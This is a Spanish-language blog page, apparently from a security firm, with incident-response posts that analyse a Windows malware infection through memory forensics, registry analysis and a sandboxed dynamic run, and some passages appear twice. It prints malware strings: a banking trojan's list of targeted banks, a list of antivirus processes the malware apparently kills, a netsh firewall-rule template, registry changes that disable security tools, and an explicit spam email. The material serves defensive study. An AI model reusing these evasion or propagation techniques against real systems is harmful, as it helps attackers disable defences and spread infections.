    • %windir%\Network Diagnostic\xpnetdiag.exe -> %windir%\Network Diagnostic\xpnetdiag.exe:*:Enabled:@xpsp3res.dll,-20000
    • C:\Program Files\iTunes\iTunes.exe -> C:\Program Files\iTunes\iTunes.exe:*:Enabled:iTunes
    • C:\Program Files\Spotify\spotify.exe -> C:\Program Files\Spotify\spotify.exe:*:Enabled:Spotify
    • C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe -> C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe:*:Enabled:ldrsoft
    • C:\Program Files\Windows Live\Messenger\msnmsgr.exe -> C:\Program Files\Windows Live\Messenger\msnmsgr.exe:*:Enabled:Windows Live Messenger
    • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\0.059610386652504066.exe -> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\0.059610386652504066.exe:*:Enabled:ldrsoft
    • %windir%\system32\sessmgr.exe -> %windir%\system32\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019

Es curioso observar que la última modificación (LastWrite Time Thu Nov  4 20:08:29 2010 (UTC) ) de dicha clave del registro es del 4 de Noviembre de 2010, concordando con las fechas en las que se aprecian los primeros síntomas de bajo rendimiento del equipo.

  • Analizando el hive NTUSER del usuario Administrator, se ha observado como existen multitud de referencias a posibles ejecuciones de software de emulación de juegos de consola, indicando que aparentemente la infección haya podido venir por esta vía:
  • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\NES\Jnes.exe (Jnes Emulator for Windows 9x/2000/XP)
  • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\MASTER SYSTEM\mekaw.exe (mekaw)
  • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\PLAY STATION\ePSXe.exe (ePSXe)
  • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\GBA\VisualBoyAdvance.exe (VisualBoyAdvance emulator)
  • C:\WINDOWS\system32\qtplugin.exe (qtplugin)
  • C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe (Executable for Purble Place Game)
  • C:\Documents and Settings\Administrator\Application Data/dkfjasdfshd.bat (dkfjasdfshd)
  • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3827962.exe (3827962)
  • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\899474.exe (Executable for Purble Place Game)
  • C:\Documents and Settings\Administrator\Application Data\updates\updates.exe (Executable for Purble Place Game)
  • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\MEGA DRIVE\gens.exe (gens)

El hecho de disponer de la memoria RAM, nos permite extraer todos los procesos que se encontraban en ejecución el instante del incidente, para poderlos someter uno a uno a análisis de AV, como por ejemplo VirutsTotal. Para facilitar la tarea, se ha realizado la extracción y se ha pasado el antivirus del PC utilizado para el análisis:


blueliv@blueliv: ~$ cat pslist.txt | awk -F' ' '{print $2}' | sort | uniq > pids.txt

blueliv@blueliv: ~$ for x in `cat pids.txt`; do
> python volatility  procdump -f memory.win32dd -p $x
> done
Resultado Antivirus 1

Resultado Antivirus 1

Resultado Antivirus 2

Resultado Antivirus 2

A raíz del análisis del registro y el posterior análisis mediante antivirus de los procesos detectados, se han identificado un conjunto de procesos potencialmente malintencionados, a parte del explícitamente caracterizado en el presente post (qtplugin.exe).

Realizando un simple repaso a alguno de ellos mediante un simple análisis de strings superficial, es posible detectar algunas cosas interesantes, como puede ser la presencia de diferentes tipos de malware:

  • Ejecutable – Proceso 1468 – svcnost.exe: Aparentemente parece ser un troyano bancario que al instalarse en el equipo víctima, monitoriza los accesos de red a las siguientes Entidades u Organizaciones:
www2.csebo.it
paco.cabel.it
linksimprese.sanpaoloimi.com
gruppocarige.it
csebanking.it
isideonline.it
bcc.it
ssb.net
in-bank.net
qweb.quercia.com
corporate.friuladria.it
altapdonline.it
cartasi.it
monetaonline.it
standardchartered.com
lloydstsb.co.uk
laiki.com
hellenicnetbanking.com
halifax.co.uk
halifax-online.co.uk
citibank.co.uk
bankofscotlandhalifax-online.co.uk
bankofscotland.co.uk
bankofcyprus.com
barclaycard.co.uk

Al infectar el equipo es típico que el malware intente deshabilitar los sistemas de defensa de los equipos en los cuales reside. Para este espécimen, aparentemente afecta al siguiente conjunto de antivirus listados a continuación:

nod32krn.
ekrn.e
Nod32
mcshield.
McAfee
bdagent
BitDefender
ofcdog
TrendMicro
srvload.e
Panda
navapsvc.e
ccsvchst.e
Norton
spidernt.e
dwengine.e
winssui.e
OneCare
avastui.e
avastsvc.ex
Avast
avgrsx.e
avgnt.e
sched.e
Avira
  • Ejecutable – Proceso 1820 – updates.exe: Este ejecutable parece ser el responsable de la modificación de las reglas de firewall anteriormente identificadas en el registro residente en memoria:
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules
program=%c%s%c
name=%c%s%c
advfirewall firewall add rule %s dir=in action=allow %s
netsh

Como se ha visto, es posible obtener cantidad de información desde la memoria RAM de los equipos, permitiendo en este caso realizar una rápida identificación de software no autorizado en los equipos con el objetivo de proporcionar una rápida respuesta ante un incidente. Lógicamente, se deberá apoyar el análisis de memoria con otra información recogida durante la intervención.

En ocasiones, el análisis de la memoria, puede proporcionar más información de lo sucedido que un análisis post-mortem del sistema de ficheros, por ello, es especialmente crítico que dado un incidente de seguridad, se manipulen lo menos posible los equipos, ya que podría propiciar la contaminación de las evidencias, especialmente las más volátiles.

Saludos y que paseis una Feliz Navidad !

Potenciales modificaciones y/o accesos a claves del registro de Windows

Software\Microsoft\Windows\CurrentVersion\Setup

\system32\qtplugin.exe

Software\Microsoft\Windows\CurrentVersion\Run

Datos relativos a un posible panel de control

Los siguientes recursos PHP, indicant la posibilidad de que el especimen esté administrado mediante un panel de control en PHP:

admin1

/stat1.php

/stat2.php

/smtps.php

/u.php?

/error.php?

De modo que, dado el caso de un análisis en mayor profundidad del sistema de ficheros podríamos buscar historial de navegación, cookies, etc relacionados con la tecnología.

Indicios de mailer

Se han detectado otros indicios, que juntamente con los servidores smtp enumerados previamente, corroboran la posibilidad de que el espécimen se trate de un Mailer:

ver=1&login=kuklachev&macroses_version=2&SMTPWorking=True&SMTPOn=True&SMTPSentNumber=5

S:\Programs\Delphi\Mailer4\cl\Sources\clMailMessage.pas

__O ______< __Received: from ybfehl ([192.209.237.60])

by tmcbhx (8.13.4/8.13.4) with SMTP id m235890368158y2Sl117135

for <%TO_MAIL>; Sun, 28 Nov 2010 21:23:11 +0100 (CDT)

(envelope-from diaobtld@northfieldseniorcenter.org)

Message-ID: <015401cb8f3a$145326e0$4b2aa35a@ybfehl>

From: “diaobtld@northfieldseniorcenter.org” <diaobtld@northfieldseniorcenter.org>

To: “sspkcclark” <%TO_MAIL>

Subject: Adri Fudcks Her Saucy Pusosy With A Glass Toy From Behind

Date: Sun, 28 Nov 2010 12:21:23 -0800

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary=”—-=_NextPart_000_0151_01CB8F42.75D18530″

X-Mailer: Microsoft Office Outlook, Build 11.0.5510

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3198

This is a multi-part message in MIME format.

——=_NextPart_000_0151_01CB8F42.75D18530

Content-Type: text/plain;

charset=”us-ascii”

Content-Transfer-Encoding: quoted-printable

abffk”

——=_NextPart_000_0151_01CB8F42.75D18530

Content-Type: text/html;

charset=”us-ascii”

Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D”text/html; charset=3Dus-ascii”>

<META content=3D”MSHTML 6.00.6000.16431″ name=3DGENERATOR>

</HEAD>

<BODY>

<font color=3D#66CC99 size=3D”1″>xcrampa and to kill its kingb</font><br><br>

<font size=3D”1″>hour pennon free and it soon willn</font>

<font size=3D”4″><a href=3D”http://oversupergirls.x.fc2.com/advertise/aberration.html”>Too Shy To Resist Gymnastic Domination Passions!</a></font>

<font size=3D”3″>vdescent for a moment the canoe pausesi</font><br>

<font color=3D#3366FF size=3D”3″>sdick i broke the news too</font>

<font size=3D”1″>jnow the people in these hills arew</font><br><br>

<br>

</BODY></HTML>

Revelación de datos acerca del origen o owner del especimen

Como se observa a continuación, es posible identificar algunos datos acerca de posibles recursos dónde se albergaba el código fuente del espécimen:

SOFTWARE\RIT\The Bat!\Users depot

SOFTWARE\RIT\The Bat!

S:\Programs\Delphi\Mailer4\cl\Sources\clMailMessage.pas

Además del análisis de los strings, es posible también analizar las claves del registro del sistema operativo del equipo afectado carga en memoria. Para ello, vamos a enumerar los offsets de cada uno de los hives que están en memoria:

python volatility hivescan –f memory.win32dd

Offset (hex)

14385160 0xdb8008

109400072 0×6855008

109431648 0x685cb60

114352776 0x6d0e288

164319240 0x9cb5008

164540424 0x9ceb008

310820872 0x1286c008

310823776 0x1286cb60

311027384 0x1289e6b8

311028576 0x1289eb60

360493064 0x157cb008

362885128 0x15a13008

389877768 0x173d1008

390019936 0x173f3b60

392499208 0×17651008

417206280 0x18de1008

418424504 0x18f0a6b8

418425696 0x18f0ab60

622731272 0x251e2008

862322696 0×33660008

Obtenemos los offsets de hives principales del registro a partir del primer resultado:

python volatility hivelist -o 0xdb8008 –f memory.win32dd

0xe102e008 [no name]

0xe1036b60 \WINDOWS\system32\config\system

0xe14e5288 [no name]

0xe15d56b8 \WINDOWS\system32\config\software

0xe15d5b60 \WINDOWS\system32\config\SECURITY

0xe15db008 \WINDOWS\system32\config\default

0xe15dbb60 \WINDOWS\system32\config\SAM

0xe1bf6008 \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat

0xe23d7008 \Documents and Settings\NetworkService\NTUSER.DAT

0xe2611b60 \Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat

0xe2650008 \Documents and Settings\Administrator\NTUSER.DAT

0xe2784008 \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat

0xe2b09008 \Documents and Settings\LocalService\NTUSER.DAT

Procesaremos los hives NTUSER, SAM, SECURITY, SOFTWARE y SYSTEM mediante regripper:

perl rip.pl -r memory.win32dd @0xe1036b60 -f system > system.txt

perl rip.pl -r memory.win32dd @0xe15d56b8 -f software > software txt

perl rip.pl -r memory.win32dd @0xe15d5b60 -f security > security.txt

perl rip.pl -r memory.win32dd @0xe15dbb60 -f sam > sam.txt

perl rip.pl -r memory.win32dd @0xe23d7008 -f ntuser > ntuser-NtwkSrvc.txt

perl rip.pl -r memory.win32dd @0xe2650008 -f ntuser > ntuser-Admin.txt

perl rip.pl -r memory.win32dd @0xe2b09008 -f ntuser > ntuser-LclSrvc.txt

Del análisis de los resultados de regripper, podemos obtener:

  • En el equipo tan solo existen los usuarios, indicando que no se han creado nuevos usuarios en el sistema:

    • Administrator

    • Guest

    • HelpAssistant

    • SUPPORT_388945a0

  • En la clave del registro (Microsoft\Windows\CurrentVersion\Run) que indica los programas a ejecutar al arrancar el sistema operativo, aparecen los siguientes registros:

    • RegistryMonitor1 -> C:\WINDOWS\system32\qtplugin.exe

    • svchost -> C:\Documents and Settings\Administrator\Application Data\Microsoft\svchost.exe

El proceso svchost.exe es que verifica, en el arranque, todos los servicios que están asignados en el registro para construir una lista de servicios que se deben ejecutar. Dado que forma parte del sistema operativo es especialmente sospechoso que no se encuentre almacenado bajo la ruta C:\Windows\System32.

  • En las aplicaciones permitidas de la política de filtrado del centro de seguridad de Windows ( ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List ), aparecen aplicaciones especialmente sospechosas, pudiendo indicar la presencia de un backdoor:

    • C:\Program Files\Bonjour\mDNSResponder.exe -> C:\Program Files\Bonjour\mDNSResponder.exe:*:Enabled:Servicio Bonjour

    • C:\Program Files\Windows Live\Messenger\wlcsdk.exe -> C:\Program Files\Windows Live\Messenger\wlcsdk.exe:*:Enabled:Windows Live Call

    • %windir%\Network Diagnostic\xpnetdiag.exe -> %windir%\Network Diagnostic\xpnetdiag.exe:*:Enabled:@xpsp3res.dll,-20000

    • C:\Program Files\iTunes\iTunes.exe -> C:\Program Files\iTunes\iTunes.exe:*:Enabled:iTunes

    • C:\Program Files\Spotify\spotify.exe -> C:\Program Files\Spotify\spotify.exe:*:Enabled:Spotify

    • C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe -> C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe:*:Enabled:ldrsoft

    • C:\Program Files\Windows Live\Messenger\msnmsgr.exe -> C:\Program Files\Windows Live\Messenger\msnmsgr.exe:*:Enabled:Windows Live Messenger

    • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\0.059610386652504066.exe -> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\0.059610386652504066.exe:*:Enabled:ldrsoft

    • %windir%\system32\sessmgr.exe -> %windir%\system32\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019

Es curioso observar que la última modificación (LastWrite Time Thu Nov 4 20:08:29 2010 (UTC) ) de dicha clave del registro es del 4 de Noviembre de 2010, concordando con las fechas en las que se aprecian los primeros síntomas de bajo rendimiento del equipo.

  • Por otra parte, analizando el hive NTUSER del usuario Administrator, se ha observado como existen multitud de referencias a posibles ejecuciones de software de emulación de juegos de consola, indicando que aparentemente la infección haya podido venir por esta vía:

    • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\NES\Jnes.exe (Jnes Emulator for Windows 9x/2000/XP)

    • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\MASTER SYSTEM\mekaw.exe (mekaw)

    • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\PLAY STATION\ePSXe.exe (ePSXe)

    • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\GBA\VisualBoyAdvance.exe (VisualBoyAdvance emulator)

    • C:\WINDOWS\system32\qtplugin.exe (qtplugin)

    • C:\Documents and Settings\Administrator\Application Data\download2\svcnost.exe (Executable for Purble Place Game)

    • C:\Documents and Settings\Administrator\Application Data/dkfjasdfshd.bat (dkfjasdfshd)

    • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3827962.exe (3827962)

    • C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\899474.exe (Executable for Purble Place Game)

    • C:\Documents and Settings\Administrator\Application Data\updates\updates.exe (Executable for Purble Place Game)

    • C:\Documents and Settings\Administrator\My Documents\CONSOLAS\MEGA DRIVE\gens.exe (gens)

El hecho de disponer de la memoria RAM, nos permite extraer todos los procesos que se encontraban en ejecución el instante del incidente, para poderlos someter uno a uno a análisis de AV, como por ejemplo VirutsTotal. Para facilitar la tarea, se ha realizado la extracción y se ha pasado el antivirus del PC utilizado para el análisis:

blueliv@blueliv: ~$ cat pslist.txt | awk -F’ ‘ ‘{print $2}’ | sort | uniq > pids.txt

blueliv@blueliv: ~$ for x in `cat pids.txt`; do

> python volatility procdump -f memory.win32dd -p $x

> done

Rescontruyendo datos mediante el ingenio – Análisis forense en dispositivos móviles (II)

Jose Antonio Lancharro Bervel

Existen situaciones en las que un investigador forense necesita sobrepasar las limitaciones técnicas intrínsecas a las herramientas existentes en la actualidad. Un claro ejemplo de esto sucede cuando el investigador necesita interpretar datos que contiene un teléfono móvil, los cuales pueden sufrir una fuerte fragmentación y, además, las entradas de la FAT también pueden estar completamente destruídas.

El presente artículo es una continuación del artículo Análisis forense en dispositivos móviles (I), en dónde repasamos diferentes métodos para realizar una adquisición de los datos contenidos en la memoria flash de dispositivos móviles. Para trabajar con datos tangibles, pongamos como ejemplo de adquisición un volcado de memoria NAND, descargable desde aquí. Dicho volcado de memoria corresponde al reto forense del 2010, realizado por la Digital Forensics Research Conference.

leer más »

Análisis Forense de una Infección – PARTE III

Ramon Vicens Lillo

Tal y como comentamos en el post anterior, en el escrito de hoy vamos a realizar un análisis dinámico del malware. Concretamente, hemos tomado el ejecutable A0029519.exe situado en:

System Volume Information\_restore{2D9E3322-AD12-427C-8050-DC9B1714968D}\RP126

con tamaño 42579 bytes y  hash sha1 2566f4de9d1f789314c0e67fcdc4f2d4778308d.

Una vez ya tenemos el especimen a analizar, hemos montado un pequeño laboratorio aislado de cualquier otra red, en la que hemos montado un red de máquinas virtualizadas, para ejecutar el malware en un entorno controlado y completamente monitorizado.

Para empezar, se puede intentar monitorizar los procesos creados justo después de la ejecución del especimen, así como ficheros creados o modificados, claves del registro creadas o modificadas, actividad de red, etc.

Durante el proceso, se ha detectado algo habitual en algunos especimenes de malware. Para evitar ser analizado, dificultan las tareas al analista, matando procesos típicos generados por herramientas como procmon, process xp, tcpview (y otras herramientas de Sysinternals típicamente utilizadas), wireshark, cmd, etc. habiéndose reiniciado el equipo en diversas ocasiones… Por ello, se han utilizado herramientas no reconocidas por el malware como son ICESword, regshot, tcpdump en otros equipos de la red…

¡Empecemos !

Analizando los procesos que se encuentran ejecutándose, observamos lo que ya sabíamos de los posts anteriores, las copias del malware situadas en el directorio “Documents and Settings\User\Local Settings\Application Data” entran en ejecución:

Listado de procesos identificados como copia del malware

A nivel de puertos abiertos, aparentemente parece ser que no se abre ningún puerto pudiendo descartar la posibilidad que el malware dispusiera de un backdoor que permitiera el acceso remoto al equipo.

Estado de las conexiones del sistema. Análisis de puertos abiertos

Como medida alternativa, se ha lanzado un nmap (nmap -sV -sS -p 0-65535 192.168.1.22) antes y después de infectar el equipo para poder ver así los puertos abiertos y visibles desde otros equipos, produciendo en ambos casos los siguientes resultados:

Starting Nmap 5.00 ( http://nmap.org ) at 2010-09-13 11:46 CEST
Interesting ports on 192.168.1.22:
Not shown: 65533 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:0C:29:90:BC:05 (VMware)
Service Info: OS: Windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 26.05 seconds</p>

Los cuales, cuadran con los resultados de ICEsword y además, los procesos (PID) creados por el malware, no disponen de ningún puerto asociado.

Siguiendo con el proceso de análisis, si observamos los autoruns del registro, no descubrimos nada nuevo, ya que las claves que consulta la aplicación ICEsword son las mismas que habíamos consultado mediante regripper.

Contenido de las claves del registro - "Autoruns" del sistema

Sin embargo, podemos realizar un análisis más específico del registro, mediante la herramienta regshot, que nos permitirá realizar una foto del estado del registro antes y después de la infección. Pudiendo comparar diferencialmente los resultados de la primera y la segunda instantánea.

Realizando dicho análisis, se ha obtenido:

  • Claves añadidas: 23
  • Valores añadidos: 55
  • Valores modificados: 15

Destacando de entre los resultados obtenidos las siguientes modificaciones:

Claves Añadidas


HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Policies\System

Valores Añadidos


HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bron-Spizaetus: ""C:\WINDOWS\ShellNew\sempalong.exe""
HKLM\SYSTEM\CurrentControlSet\Services\Schedule\AtTaskMaxHours: 0x00000048

HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions: 0x00000001
HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools: 0x00000001
HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD: 0x00000000
HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Run\Tok-Cirrhatus: ""C:\Documents and Settings\user\Local Settings\Application Data\smss.exe""

Valores Modificados


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: "Explorer.exe"
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: "Explorer.exe "C:\WINDOWS\BerasJatah.exe""
HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden: 0x00000002
HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden: 0x00000000

Como se puede observar a juzgar por las modificaciones efectuadas en el registro, podemos ver como el malware intenta permanecer en el equipo autoejecutándose cada vez al inicio de sesión modificando las claves ya detectadas en posts anteriores. Sin embargo, mediante la herramienta regshot, hemos obtenido más información acerca de modificaciones efectuadas en el registro, como son:

  • La modificación de la periodicidad de las tareas programadas, pudiendo ejecutar una tarea programada cada 48 horas
  • La modificación de las políticas de seguridad deshabilitando mecanismos, mediante los cuales un administrador podría detectar la presencia del malware como:
  1. Opciones de carpeta  (CurrentVersion\Policies\Explorer\NoFolderOptions)
  2. Acceso a la consola o cmd.exe (CurrentVersion\Policies\System\DisableCMD)
  3. Acceso a herramientas que manipulen el registro de Windows (CurrentVersion\Policies\System\DisableRegistryTools)
  4. Ocultación de los ficheros ocultos (CurrentVersion\Explorer\Advanced\Hidden)

Estos hallazgos nos permiten entender el porqué en un equipo infectado con el especimen, no se dispone de acceso a la línea de comandos, ni a las opciones de carpetas ni a ciertas herramientas de perfil administrativo.

Por otra parte, monitorizando la creación de threads, se han detectado llamadas a at.exe (tal y como se vio en posts anteriores), cmd.exe, a net.exe y a ping.exe, todas ellas ejecutadas a raíz de un proceso malicioso.

Procesos y Threads en ejecución

Es por ello, que se ha realizado un análisis pasivo de red desde un punto capaz de obtener todos los paquetes enviados y recibidos por el equipo infectado. Dado que se realizan peticiones de resolución de DNS a “google.com” y a “geocities.com“, se ha decidido abrir de forma controlada el acceso a dichos recursos desde la red con el equipo infectado, obtenindo los siguientes resultados:

Captura de red. Resolución de DNS y query a Geocities

"Follow TCP Stream" de la petición efectuada a Geocities

Inicio de Ping hacia tahun.com

Como se observa en el análisis del TCP stream, el especimen intenta bajarse un fichero, aparentemente de texto, el cual, por motivos obvios, ya no se encuentra disponible en la red. Por otra parte, se observa como el equipo también incia un ping (en éste caso sin respuesta) hacia el equipo 17tahun.com (8.5.1.37) que podría ser un equipo de control o bien podríatratarse de un ataque de denegación de servicio distribuído hacia dicho host.

Con ánimo de verificar qué más podría realizar el especimen, y se han arrancado otros dispositivos, los cuales ofrecen servicios típicos de una red Windows, comprobando lo siguiente:

Detección de equipos mediante NetBios

Conexión a recurso compartido anónimo

Petición e infección de recursos compartidos

En las capturas anteriores, se observa como el equipo infectado realiza una conexión exitosa mediante el protocolo SMB al equipo 192.168.1.54, el cual dispone de ciertas carpetas y documentos. Acto seguido, el equipo realiza peticiones tipo “Query” para obtener un listado de recursos disponibles y poder de éste modo escribir en cada uno de los directorios detectados utilizando la nomenclatura de:  “Directorio\Directorio.exe”. Pudiendo de esta manera:

  • Detectar nuevas víctimas mediante el protocolo Netbios
  • Realizando una búsqueda de recursos compartidos, aparentemente por con autenticación nula ($IPC, openshare en el presente caso, etc.)
  • Recorrido de toda la estructura de recursos compartidos
  • Creación de una copia del especimen en todos y cada uno de los recursos detectados

De ésta manera, el especimen aprovecha los recursos compartidos, típicamente existentes en una Organización, como vehículo de propagación dentro de una red de equipos.

Dejando de lado la actividad de red, todavía nos quedan dos cosillas que revisar;

  1. Los Hooks del Sistema que se han realizado en la interfaz de intercambio de mensajes entre las aplicaciones de Windows.
  2. Obtención de la memoria RAM del equipo infectado

Técnicamente, una función de “Hook” es una función que puede ser insertada en el sistema de mensajes de aplicaciones de Windows de tal modo que a través de la misma poder procesar la información antes de ser procesada por otra aplicación.

Veamos la siguiente imágen,

"Hooks" del sistema de mensajes de Windows

Como se puede ver, cada una de las copias del especimen que se encuentra en ejecución, disponen de un hook del tipo WH_KEYBOARD, WH_MOUSE y WH_MSGFILTER, pudiendo de éste modo, interceptar las acciones del ratón y del teclado (hooks típicos de un keylogger). Sin embargo, no se ha detectado presencia en el sistema de ningún fichero en el cual se pudieran almacenar las pulsaciones del teclado.

Finalmente, con el objeto de acabar el presente post, realizaremos una obtención de la memoria volátil mediante la herramienta MDD a través de la herramienta GMER, la cual nos permite ejecutar comandos en el sistema sin utilizar una interfaz gráfica cmd.exe:

Obtención de la memoria RAM mediante GMER

Una vez finalizado el proceso, podremos analizar desde otro punto de vista las acciones realizadas por el especimen… y quién sabe si encontramos algún password almacenado en la memoria RAM.

Veremos si hay suerte en el próximo post!

Saludos !


HKU\S-1-5-21-527237240-1682526488-839522115-1003\Software\Microsoft\Windows\CurrentVersion\Policies\System
Compártelo:
  • Share/Bookmark